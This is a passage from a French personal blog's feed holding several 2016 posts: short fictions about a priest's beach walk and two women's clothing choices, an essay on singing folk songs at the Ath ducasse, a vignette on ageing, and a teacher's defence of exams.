&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://unsplash.com/"&gt;Unsplash&lt;/a&gt; par &lt;a href="https://unsplash.com/?photo=HnUHOBuJ7s4"&gt;Rick Barrett&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Promenade sur la plage</title><link href="http://blog.namok.be/2016-09-11-promenade-sur-la-plage.html" rel="alternate"/><published>2016-09-11T00:00:00+02:00</published><updated>2016-09-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-09-11:/2016-09-11-promenade-sur-la-plage.html</id><summary type="html">Fiction, une promenade introspective d'un prêtre sur la plage, entre observations et réflexions sur la vie.</summary><content type="html">&lt;p&gt;&lt;img alt="beach_by_aharvik.jpg" src="/images/beach_by_aharvik.jpg" title="beach_by_aharvik.jpg, sept. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Je me promène sur la plage en ce bel après-midi. Je porte ma soutane car je n&amp;rsquo;aurai pas le temps de me changer aujourd&amp;rsquo;hui avant l&amp;rsquo;office de cette après-midi. Ce ne sera pas un office à proprement parler, c&amp;rsquo;est la fête du village et le maire et ses conseillers viennent à l&amp;rsquo;église. Même si la célébration est assez festive, c&amp;rsquo;est l&amp;rsquo;occasion pour moi de faire un petit discours sur la vie de la cité. La séparation de l&amp;rsquo;état et de l&amp;rsquo;église a ceci de bon que je peux me permettre d&amp;rsquo;être un peu piquant avec les élus et de leur rappeler leurs devoirs.&lt;/p&gt;
&lt;p&gt;— L&amp;rsquo;an dernier, Monsieur le maire, vous m&amp;rsquo;aviez dit que l&amp;rsquo;on était au bord du gouffre. Cette année, vous vous êtes montré rassurant me disant que l&amp;rsquo;on avait fait un grand pas en avant ! Tout va bien. Ce n&amp;rsquo;est pas la chute qui fait mal.&lt;/p&gt;
&lt;p&gt;Même s&amp;rsquo;il fait chaud et que je préfèrerais me promener en maillot et me baigner, ce n&amp;rsquo;est pas bien grave, je profite du peu de temps dont je dispose. J&amp;rsquo;aime beaucoup marcher pieds nus dans le sable. J&amp;rsquo;aperçois au loin Céline, seins nus, l&amp;rsquo;eau jusqu&amp;rsquo;à la taille. Elle vient souvent à la messe du Samedi soir, jamais le Dimanche. Elle s&amp;rsquo;est toujours baignée comme ça arguant que la taille de ses seins n&amp;rsquo;exigeait aucun support. C&amp;rsquo;est en tout cas ce qu&amp;rsquo;elle m&amp;rsquo;avait confié après la messe de Noël l&amp;rsquo;an dernier si je me souviens bien. Avoir fait vœu de chasteté ne m&amp;rsquo;empêche pas d&amp;rsquo;apprécier le spectacle. Un ami d&amp;rsquo;enfance à l&amp;rsquo;humour épais et n&amp;rsquo;ayant ni compris ni accepté mon choix de vie me dirait que ce n&amp;rsquo;est pas parce que l&amp;rsquo;on est au régime que l&amp;rsquo;on ne peut pas regarder le menu. Parfois, je suis ses conseils.&lt;/p&gt;
&lt;p&gt;Quelques enjambées plus loin, Burhan, l&amp;rsquo;épicier du quartier me salue. Il est accompagné de sa femme que j&amp;rsquo;aperçois de loin. Il m&amp;rsquo;a dit avoir dû insister plusieurs années pour que Kamilah pose un pied sur la plage. Sous prétexte que sa maman n&amp;rsquo;y avait jamais été, elle ne voulait pas. Le poids de son éducation peut parfois être un fardeau. En même pas quelques mois, elle est devenue une excellente nageuse et, vêtue d&amp;rsquo;un burkini bleu clair, elle s&amp;rsquo;aventure même assez loin en mer. C&amp;rsquo;est passionnant d&amp;rsquo;observer son entourage. Je suis convaincu que les gens ne changent pas foncièrement mais que la vie les façonne doucement. Lentement. J&amp;rsquo;aime à penser que c&amp;rsquo;est vers un mieux. Je suis un optimiste naïf. Je cumule.&lt;/p&gt;
&lt;p&gt;« Hé, le curé ! ». C&amp;rsquo;est Corentin et ses copains qui m&amp;rsquo;interpellent. Ils s&amp;rsquo;attendent toujours à ce que je vienne leur serrer la main et je n&amp;rsquo;y manque jamais. La première fois que je l&amp;rsquo;ai rencontré, il avait à peine six ans, et voulait participer à la messe qui avait lieu lors de ma visite du camp du Patro. Ses parents n&amp;rsquo;étaient pas pratiquants — ils ne le sont toujours pas d&amp;rsquo;ailleurs — et Corentin préfèrait &lt;em&gt;essayer&lt;/em&gt; la messe catholique plutôt que la prière musulmane ou le moment de recherche de sens laïque. Chaque enfant peut choisir et c&amp;rsquo;est bien ainsi. Il n&amp;rsquo;a pas été trop convaincu, n&amp;rsquo;est jamais venu à l&amp;rsquo;église et, depuis quinze ans maintenant, il ne manque jamais de me saluer. Ça me convient.&lt;/p&gt;
&lt;p&gt;Ça me permet de prendre un peu de ses nouvelles.&lt;br&gt;
Ça me permet de prendre un peu de &lt;em&gt;leurs&lt;/em&gt; nouvelles.&lt;/p&gt;
&lt;p&gt;Leur groupe est assez hétéroclite, représentatif de notre époque. Corentin ne semble avoir aucune conviction religieuse et n&amp;rsquo;est pas un laïc aux sens exacerbés. Il s&amp;rsquo;en fout, c&amp;rsquo;est tout. Leyla à sa gauche, est musulmane pratiquante. Elle porte le voile uniquement sur son lieu de travail, elle estime que ça fait partie de l&amp;rsquo;uniforme qu&amp;rsquo;elle a choisi de porter pour aller travailler. Avec ses amis, elle n&amp;rsquo;en ressent pas le besoin et fait souvent une queue de cheval. Toujours avec un élastique de couleur. Eytan est celui qui pousse le plus loin ses études. Si je compte bien, il en a encore pour deux ans après cette année. Vétérinaire. C&amp;rsquo;est un beau métier. Il ne se sépare jamais de sa kippa comme certains jeunes de leur casquette. Toujours vissée sur la tête. On ne sait pas s&amp;rsquo;il porte sa kippa par conviction ou par habitude. Il ne parle jamais de religion. C&amp;rsquo;est privé. Surtout pas quand Corentin se lance dans ses comparaisons entre les trois livres. Comparaisons qu&amp;rsquo;il conclut toujours par un; « Au début, c&amp;rsquo;est de toute façon la même histoire. Alors… ».&lt;/p&gt;
&lt;p&gt;La prière à la mosquée doit se terminer maintenant. J&amp;rsquo;ai préféré ne pas y aller pour ne pas que le discours de l&amp;rsquo;imam m&amp;rsquo;influence. C&amp;rsquo;est bientôt à mon tour, je vais aller préparer l&amp;rsquo;église. Cette petite promenade m&amp;rsquo;aura fait du bien.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://aharvik.deviantart.com/art/Beach-21001303"&gt;aharvik&lt;/a&gt;. J&amp;rsquo;ai d&amp;rsquo;abord cherché des photos de plage. Il y en a des tonnes. Puis j&amp;rsquo;ai ajouté &amp;ldquo;topless&amp;rdquo; et &amp;ldquo;burkini&amp;rdquo;. Il n&amp;rsquo;y en a aucune. Et en regardant &amp;ldquo;beach topless&amp;rdquo;, j&amp;rsquo;ai perdu du temps.Finalement j&amp;rsquo;aime beaucoup cette photo et &lt;a href="https://unsplash.com/search/beach?photo=BC49M6wl--8"&gt;celle-là&lt;/a&gt; avec laquelle j&amp;rsquo;ai hésité.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Sur un air de ducasse</title><link href="http://blog.namok.be/2016-08-30-sur-un-air-de-ducasse.html" rel="alternate"/><published>2016-08-30T00:00:00+02:00</published><updated>2016-08-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-08-30:/2016-08-30-sur-un-air-de-ducasse.html</id><summary type="html">Sur un air de ducasse</summary><content type="html">&lt;p&gt;&lt;img alt="ambiorix.jpg" src="/images/ambiorix.jpg" title="ambiorix.jpg, août 2016"&gt;&lt;/p&gt;
&lt;p&gt;« Et les athois ouais, et les athois ouais. Et les athois ne périront pas ! »&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Mais taisez vousaut ! On dirait qui n&amp;rsquo;a pu fok ça qu&amp;rsquo;on counoit&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Mais taisez-vous ! On dirait qu&amp;rsquo;il n&amp;rsquo;y a plus que ça que l&amp;rsquo;on connait. Serait-ce la seule chanson que vous êtes capables de chanter à l&amp;rsquo;unison ?&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai envie de dire que non et pourtant si je vous observe, serrés dans la foule tout comme moi (d&amp;rsquo;ailleurs je suis la foule mais je m&amp;rsquo;égare) je constate que l&amp;rsquo;on chante beaucoup moins qu&amp;rsquo;avant. Je sais, c&amp;rsquo;était mieux avant toussa. Pour l&amp;rsquo;année prochaine vous tous qui vous dites athois et pour qui rien d&amp;rsquo;autre ne compte que la ducasse. Vous tous qui avez téléchargé l&amp;rsquo;&lt;em&gt;application ducasse&lt;/em&gt;. &lt;em&gt;Vous aut&lt;/em&gt;. Et bien chantez !&lt;/p&gt;
&lt;p&gt;On ne peut pas connaitre toutes les chansons du floklore. Je l&amp;rsquo;accorde et je suis loin d&amp;rsquo;être une référence. Et pourtant. C&amp;rsquo;est en chantant — fort et faux s&amp;rsquo;il le faut — que l&amp;rsquo;on entend les paroles et que l&amp;rsquo;on apprend. Cette bonne vielle tradition orale.&lt;/p&gt;
&lt;p&gt;La première chanson que je retiens — même pas tous les couplets, à peine le premier — est celle que ma grand-mère m&amp;rsquo;a chanté un jour. C&amp;rsquo;est la seule fois où je l&amp;rsquo;ai entendu chanter d&amp;rsquo;ailleurs.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;El gross’ cloq’ sounn’, c’est Gouyass’ qu’on marie. On cant’ les viepps d’vant l’conseil communal. À l’occasion de c’bell’ cérémonie, dé chaqu’ famill, c’tain veritap’ regal. Che les pauvs comme che les riches, pou bieu coumêcher l’ducasse, chez tertous faut qu&amp;rsquo;on minchiche, un morciau del tart Gouyass.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;L’ducass’ d’Ath est enn’ fiète. Comme i n’d’a nieu beaucop. Et l’ciun qui dit que c’est biète, pour mi n’est foc ain sot.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Une belle histoire qui nous raconte la journée du samedi de la ducasse. Vous pouvez commencer par apprendre cette chanson-là ou débuter par le &lt;em&gt;Grand Gouyasse&lt;/em&gt;. &lt;em&gt;V&amp;rsquo;la qu&amp;rsquo;on soune el gross&amp;rsquo; cloq&amp;rsquo;&lt;/em&gt; qui nous raconte la même histoire de ce mariage improbable entre Monsieur et Madame. Ah, &lt;strong&gt;voir&lt;/strong&gt; les géants danser le &lt;em&gt;Grand Gouyasse&lt;/em&gt; au pont du moulin ou ailleurs. Tout le monde en parle. Mais voir les géants danser le &lt;em&gt;Grand Gouyasse&lt;/em&gt; et &lt;strong&gt;entendre&lt;/strong&gt; le public chanter, c&amp;rsquo;est autre chose. Ça fait &lt;strong&gt;vibrer&lt;/strong&gt; bien plus fort. Pour ça, il faut que le public (je suis le public) mouille un peu son maillot et chante.&lt;/p&gt;
&lt;p&gt;Tant que tu as la tête dans le guidon, rappelle toi les &lt;em&gt;babeluttes qu&amp;rsquo;on arlequoi et t&amp;rsquo;premièr baise dé l&amp;rsquo;rue du paradis&lt;/em&gt;. Quand la fanfare entonnera un &lt;em&gt;Faubourg de Tournai&lt;/em&gt; tu chanteras et le morceau aura une toute autre saveur. Tu éviteras les &lt;em&gt;la la la&lt;/em&gt; et tu raconteras une histoire avec tes voisins que tu ne connais pas et qui chantent les mêmes chansons. Le sourire qu&amp;rsquo;ils te retourneront alors sera un vrai sourire de ducasse.&lt;/p&gt;
&lt;p&gt;Les bleus viennent de tirer un coup (&lt;em&gt;sic&lt;/em&gt;) et tu vois le vaillant hébreux qui s&amp;rsquo;avance au son des salves des bleus. Sa colonne le fait chavirer et pourtant, il ne s&amp;rsquo;arrête pas de danser. Dès qu&amp;rsquo;il danse tu chantes parce qu&amp;rsquo;on s&amp;rsquo;en fout que les athois ne périssent pas, c&amp;rsquo;est Samson que l&amp;rsquo;on regarde. C&amp;rsquo;est lui qui capte toute notre attention.&lt;br&gt;
Samson. &lt;em&gt;Milliard qu&amp;rsquo;elle est belle no ma&amp;rsquo;selle (mi dé m&amp;rsquo;lit je n&amp;rsquo;pése foq a elle)&lt;/em&gt;. &lt;em&gt;Abach te, e rliev te, frotte &amp;lsquo;t boudaine contre l&amp;rsquo;mienne Filomène&lt;/em&gt;. &lt;em&gt;Bayard, éblouissant. Tellement beau pour tous les p&amp;rsquo;tits néfants.&lt;/em&gt; Toutes ces chansons (récentes), il faut les répeter pendant l&amp;rsquo;année parce qu&amp;rsquo;elles racontent une histoire et que c&amp;rsquo;est ça la ducasse. C&amp;rsquo;est l&amp;rsquo;histoire, la musique et la fanfare, la chanson et le public, le géant et son porteur qui font que décidément non, &lt;em&gt;c&amp;rsquo;est nieu biet&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Au travail les gens.&lt;br&gt;
À vos textes.&lt;/p&gt;
&lt;p&gt;Pour ma part, en passant devant l&amp;rsquo;arsenal, j&amp;rsquo;entends les pompiers se demander où sont passés les tuyaux. Où on a mis la grande échelle…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;La photo est de moi. C&amp;rsquo;est ambiorix avec sa cape qui vole au vent. Ai-je dit que c&amp;rsquo;était le plus beau ?&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Tant pis pour les lecteurs non autochtones, la suite se fera en version française et originale en alternance. La version sous-titrée étant peu lisible.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>L'âge, c'est dans la tête</title><link href="http://blog.namok.be/2016-08-22-age-dans-la-tete.html" rel="alternate"/><published>2016-08-22T00:00:00+02:00</published><updated>2016-08-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-08-22:/2016-08-22-age-dans-la-tete.html</id><summary type="html">L'âge, c'est dans la tête</summary><content type="html">&lt;p&gt;&lt;img alt="reliefsdefete.jpg" src="/images/reliefsdefete.jpg" title="reliefsdefete.jpg, août 2016"&gt;&lt;/p&gt;
&lt;p&gt;Ils sont tous rentrés chez eux, les années sont bues. Bon anniversaire.&lt;/p&gt;
&lt;p&gt;— L&amp;rsquo;âge, c&amp;rsquo;est dans la tête ! disait-il à tous ses amis.&lt;/p&gt;
&lt;p&gt;Sauf que lors de la dernière visite médicale le médecin lui a dit qu&amp;rsquo;il faudrait aller voir le cardiologue car sa tension était trop élevée. Un cardiologue ? Si jeune ! Il pensait sérieusement à changer de médecin lorsque sa vessie lui rappela que c&amp;rsquo;en était fini de faire une soirée complète sans devoir aller pisser. Saloperie de prostate. « Manquerait plus qu&amp;rsquo;il me propose de me mettre un doigt dans le cul à ma prochaine visite » pensa-t-il. On n&amp;rsquo;est vraiment pas préparé à ça.&lt;/p&gt;
&lt;p&gt;Pire, depuis deux ans, il voyait apparaitre des poils dans ses oreilles et dans son nez. Comme son grand-père. Heureusement qu&amp;rsquo;il n&amp;rsquo;a pas reçu un &lt;em&gt;coupe-poils-du-nez&lt;/em&gt; comme cadeau d&amp;rsquo;anniversaire. J&amp;rsquo;imagine qu&amp;rsquo;il l&amp;rsquo;aurait lancé bien loin. Non, en guise de cadeau d&amp;rsquo;anniversaire, on est venu, on a bu, on a papoté autour du barbecue et c&amp;rsquo;était sympa. Simplement. Rassembler les potes sans s&amp;rsquo;inquiéter de demain. Avoir douze ans dans la tête le temps d&amp;rsquo;une soirée.&lt;/p&gt;
&lt;p&gt;Quand on lui demande son âge, il a pris l&amp;rsquo;habitude de &lt;em&gt;faire moins dix&lt;/em&gt;. Oh, il sait bien qu&amp;rsquo;il ne leurre personne mais parfois on lui dit qu&amp;rsquo;il ne les fait pas et ça lui suffit d&amp;rsquo;y croire un instant.&lt;/p&gt;
&lt;p&gt;Un peu mélancolique, il se ressert une bière, le cardiologue attendra bien. Moi, j&amp;rsquo;m&amp;rsquo;en fous un peu, je suis jeune — encore invincible comme il dirait — et c&amp;rsquo;est mon pote. C&amp;rsquo;est tout. L&amp;rsquo;âge c&amp;rsquo;est dans la tête et j&amp;rsquo;ai pas de cardiologue.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La photo, reliefs de fête, est de moi le lendemain de la fête.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Il m'a pété le bâtard !</title><link href="http://blog.namok.be/2016-06-29-il-m-a-pete-le-batard.html" rel="alternate"/><published>2016-06-29T00:00:00+02:00</published><updated>2016-06-29T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-06-29:/2016-06-29-il-m-a-pete-le-batard.html</id><summary type="html">Il m'a pété le bâtard !</summary><content type="html">&lt;p&gt;&lt;img alt="donkey_by_itan14-d1qd9tv.jpg" src="/images/donkey_by_itan14-d1qd9tv.jpg" title="donkey_by_itan14-d1qd9tv.jpg, juin 2016"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avertissement: le vocabulaire utilisé dans ce billet peut choquer les plus prudes.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est toi le bâtard, fils de con ! &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Penses-tu vraiment que les profs veulent péter leurs élèves ? Tu t&amp;rsquo;es probablement pété tout seul.&lt;/p&gt;
&lt;p&gt;Certes le prof aigri ou incompétent qui, en plus, cote sec existe. Mais quand les réponses sont correctes, elles sont correctes. Non ? Et puis, cette espèce est (très) rare.&lt;/p&gt;
&lt;p&gt;Tous les enseignants sont des fainéants ! C&amp;rsquo;est en tout cas le message que l&amp;rsquo;on essaie de faire passer. Ça nous décrédibilise et laisse le champ libre aux politiques et aux lobbies. Du pain et des jeux, on te l&amp;rsquo;a déjà expliqué ?&lt;/p&gt;
&lt;p&gt;Bref, si j&amp;rsquo;étais fainéant, je ferais un examen très facile pour que tout le monde le réussisse et que je ne doive pas préparer un énième examen pendant mes vacances. Je pourrais rester un jour de plus à la maison. Mais il y en a toujours bien un qui rate. Il y en a toujours un. Parce qu&amp;rsquo;il a étudié un seul chapitre sur les cinq et qu&amp;rsquo;il n&amp;rsquo;a vraiment pas eu de chances en tirant la question (dixit) ou simplement parce qu&amp;rsquo;il ne vient pas. Tu dirais: « Le bâtard ! ». Tu aurais bien raison et pour lui, il faudra revenir.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;immense majorité des enseignants (ceux qui ne sont pas fainéants) essaie de rédiger des questions auxquelles les étudiants peuvent répondre. Parce qu&amp;rsquo;évaluer une copie bien écrite, où beaucoup de réponses sont correctes, sur laquelle on voit que l&amp;rsquo;étudiant à compris… et bien c&amp;rsquo;est agréable, c&amp;rsquo;est valorisant. Et l&amp;rsquo;on a bien sûr besoin de sentir que les gars qui sont devant nous ont appris. On aime voir le sourire qui accompagne toujours le moment où l&amp;rsquo;on comprend.&lt;/p&gt;
&lt;p&gt;On n&amp;rsquo;en n&amp;rsquo;a peut être pas l&amp;rsquo;air mais on ne pense pas qu&amp;rsquo;à « notre matière », on a une (vague) idée de ce qui vous attend plus tard. On est passé par là. On a sans doute connu l&amp;rsquo;échec aussi. On parle avec des professionnels qui nous disent ce qu&amp;rsquo;ils attendent des gars qui sortent de l&amp;rsquo;école. On s&amp;rsquo;informe.&lt;/p&gt;
&lt;p&gt;Par exemple, si tu es en cinquième professionnelle maçonnerie et que je suis ton prof de math, j&amp;rsquo;entendrai régulièrement (en conseil de classe par exemple):&lt;/p&gt;
&lt;p&gt;— Allez Monsieur Sassœur, c&amp;rsquo;est un bon maçon.&lt;br&gt;
— Oui mais en Math c&amp;rsquo;est pas terrible.&lt;/p&gt;
&lt;p&gt;… et le conseil de classe fera un effort parce que c&amp;rsquo;est plus important de sortir un maçon motivé, travailleur que de te faire redoubler parce que tu ne sais pas résoudre une équation du second degré. Et j&amp;rsquo;adapterai le cours pour &lt;em&gt;faire des maths qui peuvent servir&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Par contre, si tu es en cinquième professionnelle maçonnerie et que je suis ton prof de maçonnerie, je ne te laisserai pas aller sur chantier si tu ne sais pas aligner deux briques. Parce que c&amp;rsquo;est pas bon pour la réputation de l&amp;rsquo;école. C&amp;rsquo;est important pour ceux qui viendront après toi et pour ceux qui sont venus avant toi. Parce que je ne veux pas que l&amp;rsquo;on se foute de ta gueule quand tu iras travailler. Parce que j&amp;rsquo;aime le travail bien fait et que, au fond de toi, toi aussi tu préfères quand c&amp;rsquo;est bien fait.&lt;/p&gt;
&lt;p&gt;Si tu es plutôt dans le général et que je suis ton prof de math en rétho. Dans cette option un peu scientifique, je sais que tu vas essayer de faire un master ou bien que tu voudras devenir ingénieur. Quand je regarde le programme et que j&amp;rsquo;y lis qu&amp;rsquo;il faut pouvoir calculer, estimer, approximer l&amp;rsquo;ensemble des solutions d&amp;rsquo;une équation, d&amp;rsquo;une inéquation (voir &lt;a href="http://www.enseignement.be/download.php?do_id=503&amp;amp;do_check="&gt;programme&lt;/a&gt;), je pense à ce que j&amp;rsquo;ai fait à l&amp;rsquo;unif ou en haute école et j&amp;rsquo;ai envie de te préparer. Je n&amp;rsquo;ai pas envie que tu te casses lamentablement la gueule parce que finalement, on n&amp;rsquo;a pas fait grand chose au cours. Alors, je propose un peu plus d&amp;rsquo;exercices, certains plus difficiles pour que tout le monde s&amp;rsquo;y retrouve. Et j&amp;rsquo;espère que mes étudiants ne viseront pas la médiocrité du « juste la moitié ».&lt;/p&gt;
&lt;p&gt;Les politiques sont contents si l&amp;rsquo;on n&amp;rsquo;en fait pas trop même s&amp;rsquo;ils parlent d&amp;rsquo;excellence. Si en plus tu es abreuvé de publicités, de jeux et d&amp;rsquo;émissions télé (mauvais &lt;em&gt;youtubers&lt;/em&gt; compris) pour que tu deviennes un bon mouton c&amp;rsquo;est mieux. Incapable de penser. Tes profs par contre ont cette volonté (devraient l&amp;rsquo;avoir et je veux croire que beaucoup l&amp;rsquo;ont) de te rendre autonome, de développer ton esprit critique pour que tu puisses prendre ta vie en main et t&amp;rsquo;épanouir et si possible faire un travail qui te plait. Les putains de bâtards ne sont peut-être pas ceux que l&amp;rsquo;on croit finalement.&lt;/p&gt;
&lt;p&gt;Si on est prof, c&amp;rsquo;est pour ça. C&amp;rsquo;est parce que c&amp;rsquo;est gai de voir des jeunes d&amp;rsquo;une vingtaine d&amp;rsquo;années revenir de plusieurs semaines de stage en disant que tout s&amp;rsquo;est bien passé, qu&amp;rsquo;ils se sont sentis bien préparés, qu&amp;rsquo;ils ont pu faire face aux situations nouvelles, qu&amp;rsquo;ils se sont bien intégrés dans l&amp;rsquo;équipe et que ce qu&amp;rsquo;ils ont fait leur a plu. Alors on se dit que l&amp;rsquo;on y est un peu pour quelque chose.&lt;/p&gt;
&lt;p&gt;Rappelle toi que la meilleure façon de réussir ses examens c&amp;rsquo;est de se sortir les doigts… du nez.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://itan14.deviantart.com/art/Donkey-104755459"&gt;itan14&lt;/a&gt;. Le baudet, croisement entre un cheval et un âne est le bâtard par excellence.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;annonce la couleur. Je ne suis pas énervé, à peine agacé.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Comment je m'habille ?</title><link href="http://blog.namok.be/2016-06-21-comment-je-habille.html" rel="alternate"/><published>2016-06-21T00:00:00+02:00</published><updated>2016-06-21T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-06-21:/2016-06-21-comment-je-habille.html</id><summary type="html">Tu t'habilles comme tu veux du moment que je peux aussi choisir comment je m'habille.</summary><content type="html">&lt;p&gt;&lt;img alt="dancing_to_the_sun_by_fairy_bluebird_cut.jpg" src="/images/dancing_to_the_sun_by_fairy_bluebird_cut.jpg" title="dancing_to_the_sun_by_fairy_bluebird_cut.jpg, juin 2016"&gt;&lt;/p&gt;
&lt;p&gt;Beep beep beep.&lt;/p&gt;
&lt;p&gt;— Saloperie de réveil !&lt;/p&gt;
&lt;p&gt;Je me retourne et je me rendors. Re-beep. C&amp;rsquo;est bon, je me lève. Petite douche vite fait. Brossage des dents. Trois minutes. Et me voilà devant l&amp;rsquo;armoire. Que vais-je bien pouvoir mettre ? Vert ou rouge ? Remarque que beige, c&amp;rsquo;est pas mal non plus.&lt;/p&gt;
&lt;p&gt;Un jean, un t-shirt et c&amp;rsquo;est fait. Pour les mecs, c&amp;rsquo;est facile. Il ne faut s&amp;rsquo;intéresser qu&amp;rsquo;à ce que pensent les potes et aujourd&amp;rsquo;hui, c&amp;rsquo;est congé en plus. Pas d&amp;rsquo;uniforme donc. Mon uniforme ne m&amp;rsquo;est pas imposé mais on s&amp;rsquo;habille quand même tous un peu pareil dans la boite. Chez nous, c&amp;rsquo;est quasi tout le monde en jeans, pas de costard.&lt;/p&gt;
&lt;p&gt;Sauf que je ne suis pas un mec, je fais partie de l&amp;rsquo;&lt;em&gt;autre moitié&lt;/em&gt;. Celle qui ne peut pas se contenter de savoir si c&amp;rsquo;est « beau » ! Ça ne doit pas être trop sexy mais je veux que ce soit beau. Ça ne doit pas être trop court mais il fait chaud.&lt;/p&gt;
&lt;p&gt;Alors ? Rouge, vert ou beige ?&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;opte pour le hijab vert, le jean et le t-shirt bleu. Le soleil d&amp;rsquo;été tape moins fort sur ce tissu. Comme il fait très beau, je ne prends pas le bus aujourd&amp;rsquo;hui, j&amp;rsquo;irai à pied.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;aime pas trop les rues que j&amp;rsquo;emprunte pour aller au travail. Je me sens beaucoup plus observée que dans le quartier. Pas de remarque aujourd&amp;rsquo;hui, seuls quelques regards de reproche.&lt;/p&gt;
&lt;p&gt;Ça m&amp;rsquo;est égal. Je m&amp;rsquo;habille comme je veux et puis, ça ne se fait pas de montrer ses cheveux en rue. Je ne sens pas mon foulard comme un signe religieux ni comme un simple bout de tissu non plus. C&amp;rsquo;est assez chouette d&amp;rsquo;ailleurs que certaines marques proposent de mettre un foulard. Si ça devient un accessoire de mode on nous embêtera moins. Non, ce n&amp;rsquo;est ni philosophique ni banal, je porte le foulard pour affirmer ma culture.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;opte pour la jupe rouge. Elle est un peu plus courte que l&amp;rsquo;autre. Le soleil d&amp;rsquo;été me donnera un peu de couleur. Je suis blanche comme un cachet d&amp;rsquo;aspirine. Direction le métro et c&amp;rsquo;est parti pour mon trajet d&amp;rsquo;une demi-heure.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai eu de la chance aujourd&amp;rsquo;hui, seuls deux ouvriers ont sifflé et je n&amp;rsquo;ai pas eu droit au sempiternel « T&amp;rsquo;es bonne ! Y a moyen ? ». Non connard, comme si.&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;en fous, je persiste et je continuerai à m&amp;rsquo;habiller comme j&amp;rsquo;en ai envie. Ma grand-mère s&amp;rsquo;est battue pour pouvoir porter le pantalon, pour avoir le droit de vote, le droit de travailler et de gagner son argent, le droit de prendre la pilule. Ma mère a connu le droit d&amp;rsquo;avorter et de mettre des pantalons à pattes d&amp;rsquo;éléphant. Et moi, je milite pour porter la jupe sans me faire traiter de salope, je ne suis plus convaincue que mon vote ait de l&amp;rsquo;importance et je me rends au boulot pour lequel, j&amp;rsquo;ai le même salaire que mon voisin.Ce n&amp;rsquo;est pas le cas de toutes.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;arrive au boulot et Camille est déjà là. Elle a mis une jupe rouge. Un peu courte je trouve mais je sais qu&amp;rsquo;en été, elle aime bien être à l&amp;rsquo;aise comme elle dit. Elle a de belles jambes Camille et je vois bien que les hommes que l&amp;rsquo;on croise sont également de cet avis. Oui, c&amp;rsquo;est un peu court.&lt;/p&gt;
&lt;p&gt;Ça ne m&amp;rsquo;empêchera pas d&amp;rsquo;aller diner avec elle ce midi. Les gens trouveront peut-être que l&amp;rsquo;on forme un couple un peu bizarre et c&amp;rsquo;est comme ça. Et finalement, on s&amp;rsquo;en fout.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;Je viens d&amp;rsquo;arriver et Leyla n&amp;rsquo;est pas encore là. Je sais qu&amp;rsquo;elle sera à l&amp;rsquo;heure et j&amp;rsquo;aimerais lui parler avant de commencer la journée. Ça ne fait que deux ans que l&amp;rsquo;on se connait et le contact est rapidement passé. En à peine un mois, nous sommes devenues confidentes l&amp;rsquo;une de l&amp;rsquo;autre.&lt;/p&gt;
